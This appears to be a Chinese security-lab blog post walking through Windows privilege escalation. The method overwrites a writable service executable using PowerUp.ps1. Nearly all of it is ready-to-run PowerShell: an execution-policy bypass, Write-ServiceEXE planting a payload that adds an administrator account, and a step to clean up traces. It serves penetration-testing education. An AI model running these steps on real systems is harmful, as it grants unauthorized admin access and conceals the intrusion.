古语有云：“学如逆水行舟，不进则退。”面对如今随时都在变化的网络安全环境更是如此。为此，创信华通微信公众号特开设“创安实验室专栏”，以记录创信华通创安实验室在技术上的探索，加强同行间的交流，相互学习，共同进步。

✦+

原理：利用PowerUp.ps1生成一个可以执行我们构造的恶意命令的同名可执行程序并替换原本的可执行程序。主程序执行时调用同名可执行程序来执行我们构造的恶意命令。

查找具有可写的可执行文件：powershell.exe -Version 2 -nop -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"

查看程序对用户的权限：icacls "D:\tools\KGMusic\9.1.44.23567\service.exe"

利用可执行文件提权，向可写程序中写入创建用户的payload：powershell.exe -Version 2 -nop -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Write-ServiceEXE -ServiceName KugouService -Username jin -Password jin -Verbose}"

等待服务重启或对应程序再次运行：

可以看到此时新建了一个管理员权限的用户jin

清理痕迹：powershell.exe -Version 2 -nop -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Restore-ServiceEXE -ServiceName KugouService}"

创安实验室